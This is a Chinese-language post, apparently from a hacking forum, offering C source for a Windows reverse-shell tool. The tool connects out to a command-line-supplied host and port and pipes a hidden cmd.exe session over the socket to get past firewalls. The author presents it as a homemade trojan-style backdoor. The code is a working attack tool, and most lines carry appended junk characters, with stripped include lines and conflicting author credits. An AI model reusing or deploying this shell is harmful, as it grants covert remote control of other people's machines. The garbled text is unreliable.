这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l86gs6>
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/* ============================== fgoLN\
Rebound port in Windows NT ictV7)
By wind,2006/7 `k6ZAOQtX
===============================*/ .Im=-#EN
#include "U-dw%b}b
#include }0IeKpu5
*>h|<|T'
#pragma comment(lib,"wsock32.lib") mt]^d;E
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void OutputShell(); #:NY9.\o
SOCKET sClient; EeR} 34
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =<%[P9y
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void main(int argc,char **argv) EO`eg]
{ ?2%;VKN4
WSADATA stWsaData; U,K=(I7OBX
int nRet; wJZuJ(
SOCKADDR_IN stSaiClient,stSaiServer; O.DO,]Uh
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if(argc != 3) neQ~h4U"
{ bd\%K`JQ{
printf("Useage:\n\rRebound DestIP DestPort\n"); s1]m^,
return; G}Ko*:fWS
} ?C`r3
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WSAStartup(MAKEWORD(2,2),&stWsaData); bC/Ql
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tZG l^mA"g
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stSaiClient.sin_family = AF_INET; suS[P?4
stSaiClient.sin_port = htons(0); 2){O&8 A
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); PJYUD5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O6ph_$nt.
{ [MuZ^'dR
printf("Bind Socket Failed!\n"); ?t5<S]'r$
return; UqD ]@s`
} aaP6zJXi
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stSaiServer.sin_family = AF_INET; S Rk%BJ? ~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ci4;e
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U&ytZ7iB
#jh5% @
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) THlQifA!
{ =I aWf
printf("Connect Error!"); uM\5GK
return; -xG6J.S
} Bi2 c5[3
OutputShell(); sh R|
} UwxszEHC
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void OutputShell() d
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{ !S%0#d2
char szBuff[1024]; 1F_$[iIX]
SECURITY_ATTRIBUTES stSecurityAttributes; \,fa"^8
OSVERSIONINFO stOsversionInfo; ~yt 7L,OQ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Cs(sar:7
STARTUPINFO stStartupInfo; >(-A"jf
char *szShell; *4e?y
PROCESS_INFORMATION stProcessInformation; \1SC:gN*#
unsigned long lBytesRead; i),bAU!+m
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4l7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wBvVY3VQ^
stSecurityAttributes.lpSecurityDescriptor = 0; =P%&]5ts
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t.dr<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |dz"uIrT
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e=l:!E10
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M!kSt1
stStartupInfo.wShowWindow = SW_HIDE; @H<*|3J
stStartupInfo.hStdInput = hReadPipe; ''(rC38
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sQJGwZ7
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GetVersionEx(&stOsversionInfo); n\M8>9c
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(u*u
switch(stOsversionInfo.dwPlatformId) ="5D}%
{ c6lCF &
case 1: [_nOo `
szShell = "command.com"; @TQ/Z$y
break; O5aXa_A_u
default: @gfW*PNjlP
szShell = "cmd.exe"; lKB9n}P
break; l^d' 8n
} >[Wjzg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =@0J:"c
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send(sClient,szMsg,77,0); Xl<iR]lda
while(1) |iI
dm
{ 3C<G8*4);/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BM/o7%]n
if(lBytesRead) l=b!O
{ K"x_=^,Yu*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [@ev%x,
send(sClient,szBuff,lBytesRead,0); 8>t,n,k
} ,0a_ou"P=_
else swxX3GR
{ Pmo<t6
lBytesRead=recv(sClient,szBuff,1024,0); :dh; @kp
if(lBytesRead<=0) break; p<{P#?4 g
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tsJR:~
}
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} mEbI\!}H0
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return; @lF?+/=$
}